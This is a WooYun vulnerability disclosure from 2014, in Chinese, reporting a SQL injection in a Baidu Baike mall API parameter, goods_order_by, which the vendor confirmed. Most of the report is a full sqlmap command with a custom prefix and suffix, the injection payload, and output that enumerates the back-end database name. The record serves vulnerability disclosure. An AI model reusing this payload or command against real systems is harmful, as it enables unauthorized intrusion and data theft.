当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-089494

漏洞标题:百度另一重要站点SQL注入

相关厂商:百度

漏洞作者: Jannock

提交时间:2014-12-31 13:54

修复时间:2015-02-14 13:56

公开时间:2015-02-14 13:56

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-31: 细节已通知厂商并且等待厂商处理中
2014-12-31: 厂商已经确认,细节仅向厂商公开
2015-01-10: 细节向核心白帽子及相关领域专家公开
2015-01-20: 细节向普通白帽子公开
2015-01-30: 细节向实习白帽子公开
2015-02-14: 细节向公众公开

简要描述:

某神器又发现 百度另一重要站点SQL注入

详细说明:

http://baike.baidu.com/api/mall/getgoodslist?t=1420003371672&goods_class_id=&goods_price_begin=5001&goods_price_end=10000&goods_order_by=goods_price&goods_had_exchange=&goods_order_type=2&goods_type=1&page=1&word=&showInStock=true
goods_order_by存在注入

root@bt5:/pentest/database/sqlmap# python sqlmap.py -u "http://baike.baidu.com/api/mall/getgoodslist?t=1420003371672&goods_class_id=&goods_price_begin=5001&goods_price_end=10000&goods_order_by=goods_price&goods_had_exchange=&goods_order_type=2&goods_type=1&page=1&word=&showInStock=true" -p goods_order_by --prefix ",1=if((1=1" --suffix "),1,(select 1 union select 2))" --dbms=mysql --technique=B --string "pageSize" --user-agent "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0"
sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 13:37:56
[13:37:56] [INFO] testing connection to the target url
[13:37:57] [INFO] heuristics detected web page charset 'ascii'
[13:37:57] [INFO] testing if the provided string is within the target URL page content
[13:37:57] [WARNING] heuristic test shows that GET parameter 'goods_order_by' might not be injectable
[13:37:57] [INFO] testing for SQL injection on GET parameter 'goods_order_by'
[13:37:57] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:37:57] [INFO] GET parameter 'goods_order_by' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[13:37:57] [INFO] checking if the injection point on GET parameter 'goods_order_by' is a false positive
GET parameter 'goods_order_by' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 7 HTTP(s) requests:
---
Place: GET
Parameter: goods_order_by
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: t=1420003371672&goods_class_id=&goods_price_begin=5001&goods_price_end=10000&goods_order_by=goods_price,1=if((1=1 AND 5235=5235 ),1,(select 1 union select 2))&goods_had_exchange=&goods_order_type=2&goods_type=1&page=1&word=&showInStock=true
---
[13:38:00] [INFO] testing MySQL
[13:38:00] [INFO] confirming MySQL
[13:38:00] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
[13:38:00] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/baike.baidu.com'
[*] shutting down at 13:38:00

漏洞证明:

web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
[13:38:09] [INFO] fetching database names
[13:38:09] [INFO] fetching number of databases
[13:38:09] [INFO] retrieved:
[13:38:09] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' and/or switch '--hex'
[13:38:09] [ERROR] unable to retrieve the number of databases
[13:38:09] [INFO] falling back to current database
[13:38:09] [INFO] fetching current database
[13:38:09] [INFO] retrieving the length of query output
[13:38:09] [INFO] retrieved: 12
[13:38:14] [INFO] retrieved: ns_wiki_mall
available databases [1]:
[*] ns_wiki_mall

修复方案:

过滤

版权声明:转载请注明来源 Jannock@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-12-31 16:07

厂商回复:

感谢提交,已通知业务部门处理

最新状态:

暂无